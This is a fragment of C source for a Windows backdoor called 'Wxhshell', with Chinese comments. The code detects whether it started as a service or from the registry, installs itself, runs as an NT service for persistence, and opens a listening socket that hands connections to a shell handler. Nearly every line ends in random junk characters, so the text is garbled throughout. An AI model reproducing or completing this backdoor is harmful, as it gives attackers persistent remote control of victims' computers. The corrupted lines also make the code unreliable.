} PROCESS_BASIC_INFORMATION; J0{0B=d;
[rf.P'p%
PROCNTQSIP NtQueryInformationProcess; 'Yj/M
X)'uTf0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aiz_6@Qfz*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $L3UDX+F
"zYlddh
HANDLE hProcess; vQ
5
p
PROCESS_BASIC_INFORMATION pbi; ]r|X[9
rFGbp8(2
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %kyvtt
if(NULL == hInst ) return 0; 2'N%KKmJL
;Q\Duj
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sN;xHTY
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hg |DpP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N U\B
C?X^h{Tp
if (!NtQueryInformationProcess) return 0; EdLbVrN,
+1_NB;,e
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s_u@8e 6_
if(!hProcess) return 0; 7mt;qn?n
6 fL=2a
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4y:yFTp
{}~7Gi!
CloseHandle(hProcess); &h')snp:#
+H8]5~',L%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e'p'{]r<w
if(hProcess==NULL) return 0; A-qdTJP
pm@Mlwg`1
HMODULE hMod; zcy!YB
char procName[255]; >]s|'HTxF
unsigned long cbNeeded; R8sj>.I9j
%?^IS&]Z
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B&VruOP0
~4<xTP\*
CloseHandle(hProcess); >2tYw,m
Etj@wy/E
if(strstr(procName,"services")) return 1; // 以服务启动 9aHV~5
gQ6_]~4
return 0; // 注册表启动 ]oUvC
} r".*l?=
z;J"3kM
// 主模块 7'LKyy
!"3
int StartWxhshell(LPSTR lpCmdLine) WRe9ki=R
{ %
tT L
SOCKET wsl; Q9Sh2qF^2
BOOL val=TRUE; *?:V)!.2z
int port=0; W9+H/T7!
struct sockaddr_in door; (_ HwU/
Y{ijSOl3
if(wscfg.ws_autoins) Install(); p(=}Qqdr8
Cjc>0)f&.
port=atoi(lpCmdLine); +`}QIp0
ibAZ=RD
if(port<=0) port=wscfg.ws_port; bnIl@0Y
yS'W ss
WSADATA data; K&3,J7&&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^ ~'&K e
'1+s^Q'pc
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }OL?k/w
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f#f<Ii
door.sin_family = AF_INET; C-u'Me)H
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {<+B>6^
door.sin_port = htons(port); 0n<>X&X
7@oM?r7td
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >"5f B
closesocket(wsl); W|'7)ph
return 1; Ve)P/Zz}^
} GJS3O;2*
D~P3~^
if(listen(wsl,2) == INVALID_SOCKET) { hg4 d]R,
closesocket(wsl); tpPP5C{
return 1; `1
A,sXfa
} >}?jO B
Wxhshell(wsl); A{NKHn>%`
WSACleanup(); rZ'&'#Q
4}.PQ{
return 0; /Z^"[Ke
[J{\Ke0<e1
} Bie#GKc
=>3wI'I
// 以NT服务方式启动 #0kVhx7%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
!:Z
lVIA
{ >-oB%T
DWORD status = 0; KTtB!4by
DWORD specificError = 0xfffffff; 8L1vtYz
Ec'Hlsgh&T
serviceStatus.dwServiceType = SERVICE_WIN32; 2S,N9(7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; RRRF/Z;))
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !B|Aq-
n,
serviceStatus.dwWin32ExitCode = 0; v'RpsCov
serviceStatus.dwServiceSpecificExitCode = 0; w2X0.2)P2
serviceStatus.dwCheckPoint = 0; /{Mo'.=Z
serviceStatus.dwWaitHint = 0; 03pD<
<fSWX>pR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aW=c.Q.
if (hServiceStatusHandle==0) return; @I"&k!e<2
0{Uc/
status = GetLastError(); Eqizx~e qq
if (status!=NO_ERROR) m#K)%0
{ }Wlm#t
serviceStatus.dwCurrentState = SERVICE_STOPPED; Lh@0|k
serviceStatus.dwCheckPoint = 0; c~``)N
serviceStatus.dwWaitHint = 0; f4 k
serviceStatus.dwWin32ExitCode = status; e'I/}J
serviceStatus.dwServiceSpecificExitCode = specificError; (/gv
U80
SetServiceStatus(hServiceStatusHandle, &serviceStatus); cV$an
return; a_Sp}s<J
} FP=up#zl
,ArHS
serviceStatus.dwCurrentState = SERVICE_RUNNING; qPQ6`rD\
serviceStatus.dwCheckPoint = 0; Nwwn #+
serviceStatus.dwWaitHint = 0; )fy-]Ky
*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r{ >`"
} `uP:UQ9S
2x5^kN7
// 处理NT服务事件,比如:启动、停止 (n{x"rLy/
VOID WINAPI NTServiceHandler(DWORD fdwControl) z`}z7e'>
{ ^yLhL^Y
switch(fdwControl) ThvgYv--B
{ _ sqj~|K
case SERVICE_CONTROL_STOP: &L[i"1a
serviceStatus.dwWin32ExitCode = 0; +$}3=n34)
serviceStatus.dwCurrentState = SERVICE_STOPPED; cslZ;
serviceStatus.dwCheckPoint = 0; mO=A50_&,Q
serviceStatus.dwWaitHint = 0; O*7vmPy
{ -=cxUDB
SetServiceStatus(hServiceStatusHandle, &serviceStatus); TUBpRABH
} {=%,NwPs
return; aP$it6Z
case SERVICE_CONTROL_PAUSE: TTa$wiW7'
serviceStatus.dwCurrentState = SERVICE_PAUSED; HKL/D
break; efr 9
case SERVICE_CONTROL_CONTINUE: Rtu"#XcBw+
serviceStatus.dwCurrentState = SERVICE_RUNNING; n!-]f.=P
break; QArph0e
case SERVICE_CONTROL_INTERROGATE: %}IrZrh
break; <Hf3AB;#4
}; ;FGS(.mjlC
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c>Tf@Aog>
} UY6aD~tD0
2U|"]tpM&
// 标准应用程序主函数 3qW](
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B[.$<$}G
{ nR]*RIp5
v<@3&bot
// 获取操作系统版本 F;bkV}^
OsIsNt=GetOsVer(); GaCRo7
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7{Lp/z%r
o:'@|(&